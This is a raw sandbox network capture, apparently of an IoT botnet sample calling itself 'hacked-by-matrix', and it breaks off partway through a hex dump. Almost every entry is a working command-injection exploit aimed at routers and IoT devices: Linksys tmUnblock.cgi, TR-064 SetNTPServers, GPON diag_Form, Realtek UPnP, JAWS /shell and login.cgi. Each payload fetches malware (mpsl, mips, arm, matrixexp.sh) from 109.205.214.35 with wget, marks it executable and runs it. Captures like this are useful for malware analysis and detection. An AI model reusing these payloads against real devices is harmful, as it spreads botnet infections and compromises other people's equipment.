Mar 21, 2024 05:17:43.315030098 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1
Mar 21, 2024 05:17:43.590398073 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
689	192.168.2.23	42606	71.34.9.232	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.551105976 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:43.673964024 CET	113	IN	HTTP/1.1 400 Bad Request Date: Thu 21 Mar 2024 04:17:43 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
690	192.168.2.23	59220	212.34.107.86	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.575033903 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix
Mar 21, 2024 05:17:44.299052000 CET	240	OUT	GET /login.cgi?cli=aa%20aa%27;wget%20http://109.205.214.35/matrixexp.sh%20-O%20-%3E%20/tmp/matrix;sh%20/tmp/matrix%27$ HTTP/1.1 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix

Session ID	Source IP	Source Port	Destination IP	Destination Port
691	192.168.2.23	32870	86.38.214.101	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.643088102 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:44.155021906 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:44.763137102 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:44.879118919 CET	328	IN	HTTP/1.1 400 Bad Request Server: cloudflare Date: Thu, 21 Mar 2024 04:17:44 GMT Content-Type: text/html Content-Length: 155 Connection: close CF-RAY: - Data Raw: 3c 68 74 6d 6c 3e 0d 0a 3c 68 65 61 64 3e 3c 74 69 74 6c 65 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 74 69 74 6c 65 3e 3c 2f 68 65 61 64 3e 0d 0a 3c 62 6f 64 79 3e 0d 0a 3c 63 65 6e 74 65 72 3e 3c 68 31 3e 34 30 30 20 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 31 3e 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 68 72 3e 3c 63 65 6e 74 65 72 3e 63 6c 6f 75 64 66 6c 61 72 65 3c 2f 63 65 6e 74 65 72 3e 0d 0a 3c 2f 62 6f 64 79 3e 0d 0a 3c 2f 68 74 6d 6c 3e 0d 0a Data Ascii: <html><head><title>400 Bad Request</title></head><body><center><h1>400 Bad Request</h1></center><hr><center>cloudflare</center></body></html>

Session ID	Source IP	Source Port	Destination IP	Destination Port
692	192.168.2.23	42754	71.34.9.232	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.680289984 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:43.802233934 CET	113	IN	HTTP/1.1 400 Bad Request Date: Thu 21 Mar 2024 04:17:43 UTC Server: lighttpd Content-Length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
693	192.168.2.23	58814	83.66.18.219	52869

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.768224955 CET	975	OUT	POST /picdesc.xml HTTP/1.1 Host: 127.0.0.1:52869 Content-Length: 630 Accept-Encoding: gzip, deflate SOAPAction: urn:schemas-upnp-org:service:WANIPConnection:1#AddPortMapping Accept: / User-Agent: Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Connection: keep-alive Data Raw: 3c 3f 78 6d 6c 20 76 65 72 73 69 6f 6e 3d 22 31 2e 30 22 20 3f 3e 3c 73 3a 45 6e 76 65 6c 6f 70 65 20 78 6d 6c 6e 73 3a 73 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 76 65 6c 6f 70 65 2f 22 20 73 3a 65 6e 63 6f 64 69 6e 67 53 74 79 6c 65 3d 22 68 74 74 70 3a 2f 2f 73 63 68 65 6d 61 73 2e 78 6d 6c 73 6f 61 70 2e 6f 72 67 2f 73 6f 61 70 2f 65 6e 63 6f 64 69 6e 67 2f 22 3e 3c 73 3a 42 6f 64 79 3e 3c 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 20 78 6d 6c 6e 73 3a 75 3d 22 75 72 6e 3a 73 63 68 65 6d 61 73 2d 75 70 6e 70 2d 6f 72 67 3a 73 65 72 76 69 63 65 3a 57 41 4e 49 50 43 6f 6e 6e 65 63 74 69 6f 6e 3a 31 22 3e 3c 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 2f 4e 65 77 52 65 6d 6f 74 65 48 6f 73 74 3e 3c 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 34 37 34 35 31 3c 2f 4e 65 77 45 78 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 54 43 50 3c 2f 4e 65 77 50 72 6f 74 6f 63 6f 6c 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 34 34 33 38 32 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 50 6f 72 74 3e 3c 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 60 63 64 20 2f 76 61 72 3b 20 72 6d 20 2d 72 66 20 6d 61 74 72 69 78 3b 20 77 67 65 74 20 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 20 2d 4f 20 6d 61 74 72 69 78 3b 20 63 68 6d 6f 64 20 37 37 37 20 6d 61 74 72 69 78 3b 20 2e 2f 6d 61 74 72 69 78 20 72 65 61 6c 74 65 6b 60 3c 2f 4e 65 77 49 6e 74 65 72 6e 61 6c 43 6c 69 65 6e 74 3e 3c 4e 65 77 45 6e 61 62 6c 65 64 3e 31 3c 2f 4e 65 77 45 6e 61 62 6c 65 64 3e 3c 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 73 79 6e 63 74 68 69 6e 67 3c 2f 4e 65 77 50 6f 72 74 4d 61 70 70 69 6e 67 44 65 73 63 72 69 70 74 69 6f 6e 3e 3c 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 30 3c 2f 4e 65 77 4c 65 61 73 65 44 75 72 61 74 69 6f 6e 3e 3c 2f 75 3a 41 64 64 50 6f 72 74 4d 61 70 70 69 6e 67 3e 3c 2f 73 3a 42 6f 64 79 3e 3c 2f 73 3a 45 6e 76 65 6c 6f 70 65 3e 0d 0a 0d 0a Data Ascii: <?xml version="1.0" ?><s:Envelope xmlns:s="http://schemas.xmlsoap.org/soap/envelope/" s:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"><s:Body><u:AddPortMapping xmlns:u="urn:schemas-upnp-org:service:WANIPConnection:1"><NewRemoteHost></NewRemoteHost><NewExternalPort>47451</NewExternalPort><NewProtocol>TCP</NewProtocol><NewInternalPort>44382</NewInternalPort><NewInternalClient>`cd /var; rm -rf matrix; wget http://109.205.214.35/matrixexp.sh -O matrix; chmod 777 matrix; ./matrix realtek`</NewInternalClient><NewEnabled>1</NewEnabled><NewPortMappingDescription>syncthing</NewPortMappingDescription><NewLeaseDuration>0</NewLeaseDuration></u:AddPortMapping></s:Body></s:Envelope>

Session ID	Source IP	Source Port	Destination IP	Destination Port
694	192.168.2.23	57148	23.201.11.110	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.829955101 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:45.275127888 CET	325	OUT	POST /GponForm/diag_Form?images/ HTTP/1.1 User-Agent: hacked-by-matrix Accept: / Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Data Raw: 58 57 65 62 50 61 67 65 4e 61 6d 65 3d 64 69 61 67 26 64 69 61 67 5f 61 63 74 69 6f 6e 3d 70 69 6e 67 26 77 61 6e 5f 63 6f 6e 6c 69 73 74 3d 30 26 64 65 73 74 5f 68 6f 73 74 3d 60 62 75 73 79 62 6f 78 2b 77 67 65 74 2b 68 74 74 70 3a 2f 2f 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 2f 6d 61 74 72 69 78 65 78 70 2e 73 68 2b 2d 4f 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 3b 73 68 2b 2f 74 6d 70 2f 6d 61 74 72 69 78 60 26 69 70 76 3d 30 Data Ascii: XWebPageName=diag&diag_action=ping&wan_conlist=0&dest_host=`busybox+wget+http://109.205.214.35/matrixexp.sh+-O+/tmp/matrix;sh+/tmp/matrix`&ipv=0
Mar 21, 2024 05:17:45.555181026 CET	431	IN	HTTP/1.0 400 Bad Request Server: AkamaiGHost Mime-Version: 1.0 Content-Type: text/html Content-Length: 209 Expires: Thu, 21 Mar 2024 04:17:45 GMT Date: Thu, 21 Mar 2024 04:17:45 GMT Connection: close Data Raw: 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 0a 3c 54 49 54 4c 45 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 54 49 54 4c 45 3e 0a 3c 2f 48 45 41 44 3e 3c 42 4f 44 59 3e 0a 3c 48 31 3e 49 6e 76 61 6c 69 64 20 55 52 4c 3c 2f 48 31 3e 0a 54 68 65 20 72 65 71 75 65 73 74 65 64 20 55 52 4c 20 22 26 23 39 31 3b 6e 6f 26 23 33 32 3b 55 52 4c 26 23 39 33 3b 22 2c 20 69 73 20 69 6e 76 61 6c 69 64 2e 3c 70 3e 0a 52 65 66 65 72 65 6e 63 65 26 23 33 32 3b 26 23 33 35 3b 39 26 23 34 36 3b 38 66 33 65 64 63 33 64 26 23 34 36 3b 31 37 31 30 39 39 34 36 36 35 26 23 34 36 3b 31 38 63 33 32 64 31 66 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0a Data Ascii: <HTML><HEAD><TITLE>Invalid URL</TITLE></HEAD><BODY><H1>Invalid URL</H1>The requested URL "[no URL]", is invalid.<p>Reference #9.8f3edc3d.1710994665.18c32d1f</BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
695	192.168.2.23	33738	98.189.143.132	8080

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:43.833417892 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:48.026514053 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:17:54.173782110 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:
Mar 21, 2024 05:18:06.199996948 CET	110	OUT	POST /tmUnblock.cgi cd /tmp; rm -rf mpsl; wget http://109.205.214.35/mpsl;chmod 777 *;./mpsl asus;sh mpsl asu Data Raw: Data Ascii:

Session ID	Source IP	Source Port	Destination IP	Destination Port
696	192.168.2.23	51254	172.65.186.60	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.310779095 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
697	192.168.2.23	36900	172.65.102.27	55555

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.310846090 CET	438	OUT	POST /tmUnblock.cgi HTTP/1.1 Host: 127.0.0.1:80 Connection: keep-alive Accept-Encoding: gzip, deflate Accept: / User-Agent: hacked-by-matrix Content-Length: 227 Content-Type: application/x-www-form-urlencoded Data Raw: 74 74 63 70 5f 69 70 3d 2d 68 2b 25 36 30 63 64 2b 25 32 46 74 6d 70 25 33 42 2b 72 6d 2b 2d 72 66 2b 7a 65 6e 2e 6d 70 73 6c 25 33 42 2b 77 67 65 74 2b 68 74 74 70 25 33 41 25 32 46 25 32 46 31 30 39 2e 32 30 35 2e 32 31 34 2e 33 35 25 32 46 6d 70 73 6c 25 33 42 2b 63 68 6d 6f 64 2b 37 37 37 2b 6d 70 73 6c 25 33 42 2b 2e 25 32 46 6d 70 73 6c 2b 6c 69 6e 6b 73 79 73 25 36 30 26 61 63 74 69 6f 6e 3d 26 74 74 63 70 5f 6e 75 6d 3d 32 26 74 74 63 70 5f 73 69 7a 65 3d 32 26 73 75 62 6d 69 74 5f 62 75 74 74 6f 6e 3d 26 63 68 61 6e 67 65 5f 61 63 74 69 6f 6e 3d 26 63 6f 6d 6d 69 74 3d 30 26 53 74 61 72 74 45 50 49 3d 31 Data Ascii: ttcp_ip=-h+%60cd+%2Ftmp%3B+rm+-rf+zen.mpsl%3B+wget+http%3A%2F%2F109.205.214.35%2Fmpsl%3B+chmod+777+mpsl%3B+.%2Fmpsl+linksys%60&action=&ttcp_num=2&ttcp_size=2&submit_button=&change_action=&commit=0&StartEPI=1

Session ID	Source IP	Source Port	Destination IP	Destination Port
698	192.168.2.23	35840	178.208.59.145	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.446878910 CET	259	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:44.614604950 CET	490	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:44 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 71 75 65 73 74 20 69 73 20 62 61 64 6c 79 20 66 6f 72 6d 65 64 2e 3c 2f 70 3e 0d 0a 3c 2f 42 4f 44 59 3e 3c 2f 48 54 4d 4c 3e 0d 0a Data Ascii: <!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.01//EN""http://www.w3.org/TR/html4/strict.dtd"><HTML><HEAD><TITLE>Bad Request</TITLE><META HTTP-EQUIV="Content-Type" Content="text/html; charset=us-ascii"></HEAD><BODY><h2>Bad Request</h2><hr><p>HTTP Error 400. The request is badly formed.</p></BODY></HTML>

Session ID	Source IP	Source Port	Destination IP	Destination Port
699	192.168.2.23	49112	115.8.248.148	7547

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.514242887 CET	734	OUT	POST /UD/act?1 HTTP/1.1 Host: 127.0.0.1:7547 User-Agent: hacked-by-matrix SOAPAction: urn:dslforum-org:service:Time:1#SetNTPServers Content-Type: text/xml Content-Length: 526 <?xml version="1.0"?><SOAP-ENV:Envelope xmlns:SOAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" SOAP-ENV:encodingStyle="http://schemas.xmlsoap.org/soap/encoding/"> <SOAP-ENV:Body> <u:SetNTPServers xmlns:u="urn:dslforum-org:service:Time:1"> <NewNTPServer1>`cd /tmp;wget http://109.205.214.35/mips; chmod 777 mips; ./mips tr064`</NewNTPServer1> <NewNTPServer2></NewNTPServer2> <NewNTPServer3></NewNTPServer3> <NewNTPServer4></NewNTPServer4> <NewNTPServer5></NewNTPServer5> </u:SetNTPServers> </SOAP-ENV:Body></SOAP-ENV:Envelope Data Raw: Data Ascii:
Mar 21, 2024 05:17:44.806960106 CET	97	IN	HTTP/1.1 401 Unauthorized Date: Thu, 21 Mar 2024 04:17:44 GMT Content-length: 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
700	192.168.2.23	33614	77.90.188.114	80

Timestamp	Bytes transferred	Direction	Data
Mar 21, 2024 05:17:44.514698982 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:45.818911076 CET	271	OUT	GET /shell?cd+/tmp;rm+-rf+;wget+ 109.205.214.35/arm;chmod+777+/tmp/arm;sh+/tmp/arm4 jawsHTTP/1.1 User-Agent: hacked-by-matrix Host: 127.0.0.1:80 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,/*;q=0.8 Connection: keep-alive
Mar 21, 2024 05:17:46.047599077 CET	502	IN	HTTP/1.1 400 Bad Request Content-Type: text/html; charset=us-ascii Server: Microsoft-HTTPAPI/2.0 Date: Thu, 21 Mar 2024 04:17:45 GMT Connection: close Content-Length: 311 Data Raw: 3c 21 44 4f 43 54 59 50 45 20 48 54 4d 4c 20 50 55 42 4c 49 43 20 22 2d 2f 2f 57 33 43 2f 2f 44 54 44 20 48 54 4d 4c 20 34 2e 30 31 2f 2f 45 4e 22 22 68 74 74 70 3a 2f 2f 77 77 77 2e 77 33 2e 6f 72 67 2f 54 52 2f 68 74 6d 6c 34 2f 73 74 72 69 63 74 2e 64 74 64 22 3e 0d 0a 3c 48 54 4d 4c 3e 3c 48 45 41 44 3e 3c 54 49 54 4c 45 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 54 49 54 4c 45 3e 0d 0a 3c 4d 45 54 41 20 48 54 54 50 2d 45 51 55 49 56 3d 22 43 6f 6e 74 65 6e 74 2d 54 79 70 65 22 20 43 6f 6e 74 65 6e 74 3d 22 74 65 78 74 2f 68 74 6d 6c 3b 20 63 68 61 72 73 65 74 3d 75 73 2d 61 73 63 69 69 22 3e 3c 2f 48 45 41 44 3e 0d 0a 3c 42 4f 44 59 3e 3c 68 32 3e 42 61 64 20 52 65 71 75 65 73 74 3c 2f 68 32 3e 0d 0a 3c 68 72 3e 3c 70 3e 48 54 54 50 20 45 72 72 6f 72 20 34 30 30 2e 20 54 68 65 20 72 65 